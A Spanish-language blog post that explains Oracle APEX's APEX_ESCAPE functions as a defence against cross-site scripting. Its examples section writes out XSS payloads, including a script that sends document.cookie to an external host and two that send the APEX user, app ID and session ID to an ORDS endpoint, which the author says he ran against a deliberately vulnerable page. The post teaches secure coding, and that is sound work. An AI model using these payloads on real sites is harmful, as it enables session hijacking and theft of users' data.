Saltar al contenido principal
APEX_ESCAPE: ¿Proteges tus aplicaciones Oracle APEX contra XSS?
Volver al inicio

APEX_ESCAPE: ¿Proteges tus aplicaciones Oracle APEX contra XSS?

15 de enero de 20264 min de lectura1 vistas

Cuando desarrollamos aplicaciones en Oracle APEX, solemos concentrarnos en la lógica del negocio, la experiencia de usuario y el rendimiento. Sin embargo, hay un aspecto crítico que muchas veces se pasa por alto hasta que es demasiado tarde: la seguridad, en particular la protección contra Cross-Site Scripting (XSS).

Aquí es donde entra en juego el paquete APEX_ESCAPE, una herramienta clave para evitar que datos maliciosos se ejecuten como código en nuestras aplicaciones.

¿Qué es APEX_ESCAPE?

pienso 🤔

APEX_ESCAPE es un paquete PL/SQL provisto por Oracle APEX que permite escapar caracteres especiales antes de mostrar datos en la interfaz de usuario.

Basicamente:
convierte texto potencialmente peligroso en texto seguro para mostrar en HTML, JavaScript o URLs*.*

Esto evita que un usuario malintencionado inyecte código como:

<script>alert('hackeado')</script>

y que dicho código se ejecute en el navegador de otro usuario.

¿Por qué es tan importante?

Oracle APEX trabaja intensamente con datos ingresados por usuarios:

  • Ítems de página

  • Formularios

  • Comentarios

  • Parámetros

  • Datos provenientes de tablas

Si estos valores se muestran sin control, un atacante puede aprovecharlos para:

  • Robar sesiones

  • Ejecutar acciones en nombre de otros usuarios

  • Modificar la interfaz

  • Exponer información sensible

APEX_ESCAPE es una de las primeras líneas de defensa contra XSS.

BeelPfeiffer Si van a tomar una birra, deben tener una frapera con onda

Funciones más utilizadas de APEX_ESCAPE

1. APEX_ESCAPE.HTML

Escapa texto para que sea seguro mostrarlo en HTML.

APEX_ESCAPE.HTML(:P1_COMENTARIO)

Convierte:

  • < en <

  • \> en >

  • " en "

Podemos probar este query

select APEX_ESCAPE.HTML('<  >  " ') escap from dual;

Esta seria su salida.

Ideal para:

  • Reportes

  • Regiones HTML

  • Labels dinámicos

2. APEX_ESCAPE.HTML_ATTRIBUTE

Pensada para valores que se insertan dentro de atributos HTML.

APEX_ESCAPE.HTML_ATTRIBUTE(:P1_TITULO)

Útil cuando se usa dentro de:

<input type="text" value="&P1_TITULO.">

3. APEX_ESCAPE.JS_LITERAL

Escapa valores que serán utilizados dentro de código JavaScript.

APEX_ESCAPE.JS_LITERAL(:P1_MENSAJE)

Fundamental cuando se concatenan valores dinámicos en scripts.

Ejemplos

Supongamos que un usuario guarda este comentario:

<b>Hola</b><script>alert('XSS')</script>

Si lo mostramos directamente:

select feedback
from apex_team_feedback f

El script se ejecutará.

Pero si usamos:

select APEX_ESCAPE.HTML(feedback)feedback
from apex_team_feedback f

El navegador mostrará el texto sin ejecutar nada peligroso.

Ejemplo de XSS con robo de sesión

Supongamos que un atacante logra inyectar este texto como comentario o descripción:

<script>
  fetch('https://sitio-externo/collect?c=' + document.cookie);
</script>

¿Qué intenta hacer este código?
(No cómo hacerlo, sino qué pasaría si se ejecuta)

  • Accede a document.cookie

  • Extrae cookies de sesión

  • Las envía a un servidor externo

  • Permite:

    • Secuestro de sesión

    • Suplantación de usuario

    • Acceso a datos privados

En una app APEX con autenticación por cookies, esto puede ser crítico.

Para este ejemplo en particular, cree una api que recibe como parametro “CAMPO1“ y lo inyeccte en este script asi

<script>
fetch('https://oracleapex.com/ords/maximo/xss/xss?campo1=' + apex.env.APP_USER);
</script>

La pagina intencionalmente vulnerable ejecuta el codigo y obtengo el dato del usuario

o si se usa este otro codigo

<script>
  var x =
    'APP_USER: ' + apex.env.APP_USER + ' | ' +
    'APP_ID: ' + apex.env.APP_ID + ' | ' +
    'APP_PAGE_ID: ' + apex.env.APP_PAGE_ID + ' | ' +
    'APP_SESSION: ' + apex.env.APP_SESSION ;
  fetch(
    'https://oracleapex.com/ords/maximo/xss/xss?campo1=' +
    encodeURIComponent(x)
  );
</script>

Se puede obtener otros datos igual de sensibles.

Si estos datos se pueden obtener, se podrian obtner otros, aun mas sensibles.

¿Cuándo debo usar APEX_ESCAPE?

Regla práctica:

Siempre que muestres datos dinámicos que no controlas al 100%

Especial atención en:

  • Regiones HTML

  • PL/SQL dinámico

  • JavaScript dinámico

  • Links generados manualmente

  • htp.p, htf.print, sys.htp

¿APEX no escapa automáticamente?

Armando Barrera (@odioapancho) on X

Sí… a veces.

Oracle APEX escapa automáticamente en muchos componentes declarativos (reportes clásicos, interactivos, ítems estándar), pero no en todos los casos, especialmente cuando:

  • Usas PL/SQL

  • Generas HTML manualmente

  • Construyes JavaScript dinámico

  • Desactivas el escape en columnas

Por eso, conocer y usar APEX_ESCAPE es fundamental.

Buenas prácticas

  • Escapar al mostrar, no al guardar.

  • Usar la función adecuada según el contexto (HTML, JS, URL).

  • No confiar ciegamente en el escape automático.

  • Revisar código legado.

  • Combinar con validaciones y controles de acceso.

Conclusión

APEX_ESCAPE no es solo un paquete más:
es una herramienta esencial para desarrollar aplicaciones Oracle APEX seguras.

Dominar su uso te permite:

  • Evitar vulnerabilidades XSS

  • Proteger a tus usuarios

  • Cumplir buenas prácticas de seguridad

  • Dormir más tranquilo

Si trabajas con APEX y aún no lo usas conscientemente, este es el momento de incorporarlo a tu estándar de desarrollo.

¿Te gustó este contenido? Dejá un comentario, compartilo con tu equipo o Invitame un cafe.

Nos leemos luego

Lasang | Skate #cats #kitty #catmemes #catto | Instagram

Artículos relacionados